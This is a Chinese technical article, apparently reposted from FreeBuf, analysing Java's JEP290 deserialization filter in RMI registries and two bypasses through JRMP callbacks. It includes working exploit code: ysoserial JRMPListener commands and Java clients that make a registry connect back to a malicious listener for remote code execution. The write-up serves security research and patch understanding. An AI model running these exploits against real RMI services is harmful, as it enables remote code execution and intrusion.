RMI-JEP290的分析与绕过
2021-11-11 11:01:56 Author: www.freebuf.com(查看原文) 阅读量:35 收藏

JEP290是Java官方提供的一套来防御反序列化的机制,其核心在于提供了一个ObjectInputFilter接口,通过设置filter对象,然后在反序列化(ObjectInputStream#readObject)的时候触发filter的检测,同样,这套机制在RMI中也适用,所以在一些高版本的情况下,依靠单纯的反序列化的方式无法达到效果,但是我们可以借助一些方式来绕过它。

JEP290 chek 点

JEP290是 Java 底层为了解决反序列化攻击所提出的一种方案,主要有以下机制:

  • 提供一个限制反序列化类的机制,白名单或者黑名单;

  • 限制反序列化的深度和复杂度;

  • 为 RMI 远程调用对象提供了一个验证类的机制;

  • 定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。

它本来是针对 Java9 的一个新特性,但是官方随后决定向下引进增强该机制,对以下 JDK 增加了该特性:

  • JDK8u121

  • JDK7u13

  • JDK6u141

ObjectInputStream#setInternalObjectInputFilter:

在 RMI 中JEP290主要是在远程引用层 之上进行过滤的,所以其过滤作用对 Server 和 Client 的互相攻击无效(在完成和 Registry 通信之后,客户端和服务端的相互通信就到了远程引用层和传输层):

启动一个 Registry,然后在 Server 端bind(rebind)一个恶意对象,被 filter 过滤掉:

根据对应关系,直接看RegistryImpl_Skel#dispatch中的case 0,对应着bind方法:

var7是绑定对象的名称,var80就是要导出的远程对象,单步跟进var80的反序列化过程:

跟进ObjectInputStream#readObject0方法:

单步到readOrdinaryObject方法,再跟进到readClassDesc方法,在这个方法里会根据反序列化的类不同进入不同的 case 里:

重点关注下面两个 case,分别对动态代理类的 Class 和非动态代理类的 Class 进行处理,而且都会调用到filterCheck方法对序列化流进行 check(图就不贴了,自行跟入查看即可)。

这个filterCheck方法最终调用的是RegistryImpl#registryFilter方法(至于为什么后面会说到),它对反序列化的类进行了白名单的限制:

白名单内容:

String / Number / Remote / Proxy / UnicastRef / RMIClientSocketFactory / RMIServerSocketFactory /  ActivationID / UID

只要反序列化的类不是白名单中的类,就会返回REJECTED操作符,表示序列化流中有不合法的内容,直接抛出异常。

再说回我们bind的恶意对象为什么会被 check,在 RMI 中,Server 端执行bind方法的参数必须是一个实现了 Remote 接口的对象,但是普通的 CC 链最后生成的恶意对象是不满足这个条件的,这时候就需要动态代理来代理Remote接口,实际上最后绑定的是动态代理生成的代理对象:

InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);
Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
registry.bind("pwn", remote);

代理对象是如何触发反序列化的呢?代理对象内部有 InvocationHandlerImpl 对象的引用,而后者内部也有一个 expMap 的引用,三者都实现了 Serializable 接口,由于反序列化具有传递性,当代理对象被反序列化的时候,最后也会导致 expMap 被反序列化。(https://www.wolai.com/vUAU982tJ5pH8wJvYeAfPf)

所以在反序列化的时候,除了对代理对象本身反序列化,也要对其内部字段进行反序列化,类似于一个递归的过程,我们的代理对象本身(它自身实现了被代理的接口,这里是 Remote 接口)是不会触发 check 的,真正触发 check 的其实是内部的 InvocationHandlerImpl,来看调用栈:

触发check
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
...

通过调用栈我们可以看到从开始到触发 check 其实是调用了两次readObject0方法的,第一次就是对代理对象本身的反序列化,第二次是对其内部字段进行反序列化。

readSerialData方法会读取对象内部的字段,然后循环进入readObject0方法处理:

同上面分析的readObject0方法一样,会进入到不同的 case 中,最后我们的InvocationHandlerImpl类在readNonProxyDesc方法中触发了 filter 的 check:

filter 创建过程

另一个问题,filter 是什么时候被设置的呢?

首先,在RegistryImpl的构造方法中传入了一个方法引用:

值得注意的是,RegistryImpl 有多个重载的构造方法,核心都是传入了一个 Lambda 表达式作为 filter,只是代码细节有些许不同,就不作额外分析了。

RegistryImpl::registryFilter即info → RegistryImpl.registryFilter(info),因为它和ObjectInputFilter接口的抽象方法签名一致,所以可以直接通过方法引用来简写:

这个 Lambda 表达式以ObjectInputFilter接口的形式传入了UnicastServerRef2的构造方法中:

最后赋值给了该类的filter成员变量:

在触发 check 的时候,filter 是一个 Lambda 表达式,就是最开始传入的RegistryImpl::registryFilter:

所以才会进入方法RegistryImpl#registryFilter方法中去,看一眼调用栈:

registryFilter:416, RegistryImpl (sun.rmi.registry)
checkInput:-1, 1566502717 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readProxyDesc:1828, ObjectInputStream (java.io)
readClassDesc:1748, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
...

此外,之前提到在 Registry 的创建过程中 filter 最终只是作为UnicastServerRef的一个成员变量而存在,直到 Registry 在处理请求的时候,在oldDispatch方法中才把 filter 赋值给了ObjectInputStream的成员变量serialFilter。

UnicastServerRef#oldDispatch:

UnicastServerRef#unmarshalCustomCallData:

UnicastRef 类

UnicastRef是在白名单上的,RMI Server 或者 Client 和 Registry 的通信就基于它。

在代码层面来说,我们在执行 bind、lookup 等方法的时候都会先获取到一个 Registry,比如:

Registry registry = LocateRegistry.getRegistry(1099);

跟进LocateRegistry#getRegistry方法:

这里的 TCPEndpoint 封装了 Registry 的 host、端口等信息,然后用 UnicastRef 封装了 liveRef。最终获取到的是一个 RegistryImpl_Stub 对象;这个对象里面封装了一个 UnicastRef 对象:

然后我们用这个 Stub 对象(客户端)去连接 Registry,以 bind 方法为例:

从这个过程来看,通过 UnicastRef 的 newCall 方法发起连接,然后把要绑定的对象发送到 Registry。

所以如果我们可以控制 UnicastRef 中 LiveRef 所封装的 host、端口等信息,我们就可以发起一个任意的 JRMP 连接请求,这其实就是 ysoserial 中的 payloads.JRMPClient 的原理。

RemoteObject 类

RemoteObject 是一个抽象类,在后面的 Bypass 思路构造中它会扮演一个很重要的角色。它实现了 Remote 和 Serializable 接口,代表它(及其子类)可以通过白名单的检测,而 Bypass 利用的关键点就是它的 readObject 方法:

这里的 ref 就是一个 UnicastRef 对象,往下跟 readExternal:

跟进 read 方法:

在这个方法中会读出序列化流中的 host 和端口信息(就是恶意 JRMP 服务的 host 与端口,后面会提到),然后重新封装成一个 LiveRef 对象,将其存储到当前的 ConnectionInputStream 上,调用 saveRef 方法:

建立了一个 TCPEndpoint 到 ArrayList<LiveRef>的映射关系。

上述部分是在RegistryImpl_Skle#dispatch中的 readObject 方法触发的:

在服务端触发了反序列化之后,来到StreamRemoteCall#releaseInputStream方法中,在这里会调用ConnectionInputStream#registerRefs方法:

这里的this.in就是上文中提到的存储了 LiveRef 对象的那个 ConnectionInputStream 对象,接着跟进:

在这里就会发现会根据之前存储的映射关系("在这个方法中会读出序列化流中的 host 和端口信息(就是恶意 JRMP 服务的 host 与端口,后面会提到),然后重新封装成一个 LiveRef 对象,将其存储到当前的 ConnectionInputStream 上,调用 saveRef 方法:image.png 建立了一个 TCPEndpoint 到 ArrayList

的映射关系。")提取值,然后传入DGCClient#registerRefs方法中:

最终由 DGCClient 向恶意的 JRMP 服务端发起 lookup 连接:

Bypass 思路

经过对 RemoteObject 类的分析我们可以明确:

  • RemoteObject 类(及其子类)对象可以被 bind(lookup 方法也可以)到 Registry,且在白名单之上。

  • RemoteObject 类(及其没有实现 readObject 方法的子类)经过反序列化可以通过内部的 UnicastRef 对象发起 JRMP 请求连接恶意的 Server。

所以 Bypass JEP290 的思路如下:

  1. 用 ysoserial 开启一个恶意的 JRMPListener。

  2. 控制 RemoteObject ↓ 中的 UnicastRef 对象,这个对象封装了恶意 Server 的 host、端口等信息。

  3. Client / Server 向 Registry 发送这个 RemoteObject↓ 对象,Registry 触发 readObject 方法之后会向恶意的 JRMP Server 发起连接请求。

  4. 后续触发 JRMPListener 。

Registry 触发反序列化的利用链:

客户端发送数据 --> ...
    UnicastServerRef#dispatch -->
        UnicastServerRef#oldDispatch --> 
            RegistryImpl_Skle#dispatch --> RemoteObject#readObject
                StreamRemoteCall#releaseInputStream -->
                    ConnectionInputStream#registerRefs -->
                        DGCClient#registerRefs -->
                            DGCClient$EndpointEntry#registerRefs -->
                                DGCClient$EndpointEntry#makeDirtyCall -->
                                    DGCImpl_Stub#dirty --> 
                                        UnicastRef#invoke --> (RemoteCall var1)
                                            StreamRemoteCall#executeCall --> 
                                                ObjectInputSteam#readObject --> "pwn"
※ 备注 1
重点关注UnicastRef#invoke方法,这个方法有两种不同的重载形式:
invoke(RemoteCall var1)
invoke(Remote var1, Method var2, Object[] var3, long var4)

这里的 Bypass121 使用的是第一种形式,而后面的"Bypass 8u231~8u240"使用的第二种形式(用于调用远程方法),但是两种重载都会触发StreamRemoteCall#executeCall方法。

可见,对比于Registry 攻击 Client&Server,虽然中间流程复杂了一些,但是最后都来到了StreamRemoteCall#executeCall方法,同样反序列化了 BadAttributeValueExpException 对象。

所以 Bypass JEP290 的关键在于:通过反序列化将 Registry 变为 JRMP 客户端,向 JRMPListener 发起 JRMP 请求。

然后就是类的寻找:

顺着上面的思路找,很多子类都满足要求,比如:

  • RemoteObjectInvocationHandler

  • RMIConntionImpl_Stub

  • DGCImpl_Stub

  • RmiServerImpl_Stub

  • ...

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 'calc'
public class RMIRegistry {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            System.out.println("RMI Registry Start");
        } catch (Exception e) {
            e.printStackTrace();
        }
        while (true) ;
    }
}
public class DefineClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("localhost", 9999);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
	// lookup方法也可以,但需要手动模拟lookup方法的流程
        registry.bind("pwn", handler);
    }
}

修复

在 8u231 版本及以上的DGCImpl_Stub#dirty方法中多了一个setObjectInputFilter的过程,又会被 JEP290 check 到了 。

总分析

在上面的 Bypass 中,UnicastRef 类用了一层包装,通过递归的形式触发反序列化;通过 DGCClient 向 JRMPListener 发起 JRMP 请求,而这条 Gadget 是直接利用一次反序列化发起 JRMP 请求。

Gadget 利用链如下:

客户端发送数据 --> 服务端反序列化(RegistryImpl_Skle#dispatch)
    UnicastRemoteObject#readObject -->
        UnicastRemoteObject#reexport -->
            UnicastRemoteObject#exportObject --> overload
                UnicastRemoteObject#exportObject -->
                    UnicastServerRef#exportObject --> ...
                            TCPTransport#listen -->
                                TcpEndpoint#newServerSocket -->
                                    RMIServerSocketFactory#createServerSocket --> Dynamic Proxy(RemoteObjectInvocationHandler)
                                        RemoteObjectInvocationHandler#invoke -->
                                            RemoteObjectInvocationHandler#invokeMethod -->
                                                UnicastRef#invoke --> (Remote var1, Method var2, Object[] var3, long var4)
                                                    StreamRemoteCall#executeCall --> 
                                                        ObjectInputSteam#readObject --> "pwn"

调用链分析

UnicastRemoteObject 作为反序列化的入口,

UnicastRemoteObject#readObject:

来到

UnicastRemoteObject#reexport:

这里我们在 exp 中会设置 ssf,进入第二个分支,

UnicastRemoteObject#exportObject:

这里把 port、csf、ssf 作为构造方法参数传入 UnicastServerRef2,其实它里面是包装了一层 LiveRef:

public UnicastServerRef2(int var1, RMIClientSocketFactory var2, RMIServerSocketFactory var3) {
    super(new LiveRef(var1, var2, var3));
}

再跟入重载的UnicastRemoteObject#exportObject:

之后再来到

UnicastServerRef#exportObject:

这部分在"Registry 创建"已经有过分析了,在这里会创建 RegistryImpl_Stub、RegistryImpl_Skel 对象,最终调用到

TCPTransport#listen方法创建监听栈,中间过程省略,直接跟入

TCPTransport#listen:

var1 是一个 TcpEndpoint 对象,跟入

TcpEndpoint#newServerSocket方法:

在这里调用了之前提到的 ssf 的方法,这里有一层动态代理,通过 RemoteObjectInvocationHandler 代理 RMIServerSocketFactory 接口,然后把生成的代理对象设置为该 ssf,于是来到了

RemoteObjectInvocationHandler#invoke:

前面多个 if 都不满足,直接来到

RemoteObjectInvocationHandler#invokeRemoteMethod:

这里的 ref 可以设置为 UnicastRef,然后来到了熟悉

UnicastRef#invoke方法:

备注 1:这一段其实在"Client 攻击 Server"中就已经分析过了,只不过 UnicasrRef 中前者封装的一个是 Server 端的 host 、端口等信息,另一个封装的是恶意 JRMPListener 的信息。

备注 2:无论 RMI Registry、RMI Client、RMI Server、DGCClient 的任意两者通信,它们发起 JRMP 请求都利用了 UnicastRef 类。

在UnicastRef#invoke方法中让 Registry 向 JRMPListener 发起了 JRMP 请求,进行数据交互,来到了StreamRemoteCall#executeCall:

反序列化了 JRMPListener 发来的 payload,这里获取到 InputStream 之后并没有设置 JEP290 的 filter,所以又一次成功 Bypass。

Exploit

有个小问题

但是还有一个问题没解决,本地在 bind 或者 rebind 一个对象的时候,在序列化对象的时候会来到MarshalOutputStream#replaceObject方法:

如果这个对象没有继承 RemoteStub 的话,会进行转化:

原先的 UnicastRemoteObject 会被转化成 RemoteObjectInvocationHandler,自然到服务端就无法触发UnicastRemoteObject#readObject方法。

解决方案是自己重写一下RegistryImpl#bind方法,在序列化之前通过反射 ObjectInputStream,修改enableReplace为 false:

最后的 Exploit

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 'calc'
public class RMIServer {
    public static void main(String[] args) throws Exception {
        UnicastRemoteObject payload = getPayload();
        Registry registry = LocateRegistry.getRegistry(1099);
        bindReflection("pwn", payload, registry);
    }

    static UnicastRemoteObject getPayload() throws Exception {
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("localhost", 9999);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

        System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
        RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
                handler.getClass().getClassLoader(),
                new Class[]{RMIServerSocketFactory.class, Remote.class},
                handler
        );

        Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
        constructor.setAccessible(true);
        UnicastRemoteObject unicastRemoteObject = constructor.newInstance();

        Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
        field_ssf.setAccessible(true);
        field_ssf.set(unicastRemoteObject, factory);

        return unicastRemoteObject;
    }

    static void bindReflection(String name, Object obj, Registry registry) throws Exception {
        Field ref_filed = RemoteObject.class.getDeclaredField("ref");
        ref_filed.setAccessible(true);
        UnicastRef ref = (UnicastRef) ref_filed.get(registry);

        Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations");
        operations_filed.setAccessible(true);
        Operation[] operations = (Operation[]) operations_filed.get(registry);

        RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);
        ObjectOutput outputStream = remoteCall.getOutputStream();

        Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
        enableReplace_filed.setAccessible(true);
        enableReplace_filed.setBoolean(outputStream, false);

        outputStream.writeObject(name);
        outputStream.writeObject(obj);

        ref.invoke(remoteCall);
        ref.done(remoteCall);
    }
}

修复

在 jdk 8u241 中进行了修复,在RemoteObjectInvocationHandler#invokeRemoteMethod:

声明要调用的方法的类,必须实现 Remote 接口,而 RMIServerSocketFactory 类没有实现该接口,于是会直接抛出异常。


文章来源: https://www.freebuf.com/articles/network/304335.html
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